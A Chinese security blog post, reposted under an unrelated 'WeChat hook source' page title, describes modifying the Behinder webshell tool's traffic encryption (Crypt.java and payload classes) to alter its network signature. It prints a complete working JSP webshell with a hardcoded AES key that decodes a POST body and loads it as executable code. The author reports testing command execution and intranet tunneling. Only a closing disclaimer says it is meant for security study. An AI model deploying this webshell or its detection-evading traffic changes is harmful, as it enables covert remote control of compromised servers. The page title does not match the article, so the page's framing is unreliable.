当前位置:网站首页 > 微服务架构 > 正文

微信hook开源(微信hook源码)



前言

感觉冰蝎流量魔改的文章比较少,我自己琢磨了一下,感觉简单地做个流量魔改并不复杂,发出来供大家参考。我自己是个Java笨比,有问题的地方欢迎大佬们评论区指正共同学习。

正文

0x00 冰蝎源码

冰蝎源码的获取,可以下载冰蝎,用idea自带的反编译工具去反编译,我这里直接用github搜到的别人整理好的反编译代码了(https://github.com/x1a0t/Behinder-Source)

0x01 Crypt.java的修改

(1)加密函数

在Crypt.java中,可以修改Encrypt、EncryptForPhp这类加密函数的逻辑,比如在返回结果数据前,对结果做自定义的加密处理。我这里的例子就是在原有的AES基础上做了个base64编码。

note:public static byte[] Encrypt(byte[] bs, String key, String scriptType, int encryptType)

(2)解密函数

0x02 payload的修改

我自己对jsp马做了个简单的跟踪调试,发现解密函数解密的流量,应该是被客户端塞进去的payload里的xxx.class发出来的,这些流量发出来之前会调用payload里xxx.class的Encrypt()函数做个流量加密。所以这里的思路是,把payload里存在Encrypt()函数的xxx.class的Encrypt()函数加密逻辑都修改一下,就能贯通整个加解密通讯流程了。
具体操作还是以jsp增加base64编码举例子:
因为演示的是jsp的部分,就去修改net.rebeyond.behinder.payload.java下面的Java代码文件,找到里面的Encrypt()函数(payload里的Java代码,挨个找找改一下,并不是每一个文件都有Encrypt,这里没有就不管),去修改加密逻辑就行了

0x03 webshell马子的修改

以jsp为例,这里就是在原本的base64解码里又套了一层base64解码:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(new String(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))))).newInstance().equals(pageContext);}%>

0x04 打包与测试

用maven做package打包,完成后要用的是名字长的那个jar包(Behinder-3.0-beta-11_t00ls-jar-with-dependencies.jar)

本地运行,测试(命令执行、内网穿透等功能正常,不过数据库连接功能拉闸了):

最后

有两个还没解决的东西:
1.C#部分的dll文件处理
2.数据库连接功能出现了bug(暂时还没去调试)

欢迎大佬们在留言指教

文章来源:先知社区

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文


END

多一个点在看多一条小鱼干

到此这篇微信hook开源(微信hook源码)的文章就介绍到这了,更多相关内容请继续浏览下面的相关推荐文章,希望大家都能在编程的领域有一番成就!

版权声明


相关文章:

  • 微信为啥没linux版(微信没有linux版本)2025-02-11 12:09:08
  • 个人服务器 价格(个人服务器多少钱)2025-02-11 12:09:08
  • 服务器部署架构图怎么做(服务器部署架构主要分为)2025-02-11 12:09:08
  • 企业微信定位失败无法获取位置(企业微信提示定位失败)2025-02-11 12:09:08
  • 个人服务器如何搭建(个人服务器如何搭建网站)2025-02-11 12:09:08
  • 连接 断开(switch与服务器连接断开)2025-02-11 12:09:08
  • 微信linux版(linux系统 微信)2025-02-11 12:09:08
  • samba共享服务下载(samba共享服务有什么用)2025-02-11 12:09:08
  • 腾讯会员怎么分享二维码登录微信账号(手机腾讯会员怎么分享二维码给别人使用)2025-02-11 12:09:08
  • 个人服务器搭建服务器主机(自建个人服务器)2025-02-11 12:09:08
  • 全屏图片